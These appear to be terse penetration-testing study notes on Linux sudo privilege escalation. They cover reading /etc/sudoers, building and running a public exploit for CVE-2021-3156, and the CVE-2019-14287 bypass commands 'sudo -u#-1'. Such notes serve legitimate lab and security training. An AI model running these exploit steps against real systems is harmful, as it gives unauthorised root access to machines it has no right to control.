Sudo

• The /etc/sudoers file specifies which users or groups are allowed to run specific programs and with what privileges.
• sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'

CVE-2021-3156

• 
• check sudo version
  • sudo -V | head -n1
• check os version
  • cat /etc/lsb-release
• download - https://github.com/blasty/CVE-2021-3156
  • cd CVE-2021-3156
  • make
• ./sudo-hax-me-a-sandwich
  • will show the versions and their options
  • 
• run exploit with proper options
  • ./sudo-hax-me-a-sandwich 1

---

Sudo Policy Bypass - CVE-2019-14287

• https://www.sudo.ws/security/advisories/minus_1_uid/
• all versions below 1.8.28
• It had to allow a user in the /etc/sudoers file to execute a specific command.
• 
• sudo -u#-1 id
• sudo -u#-1 /bin/ncdu
  • b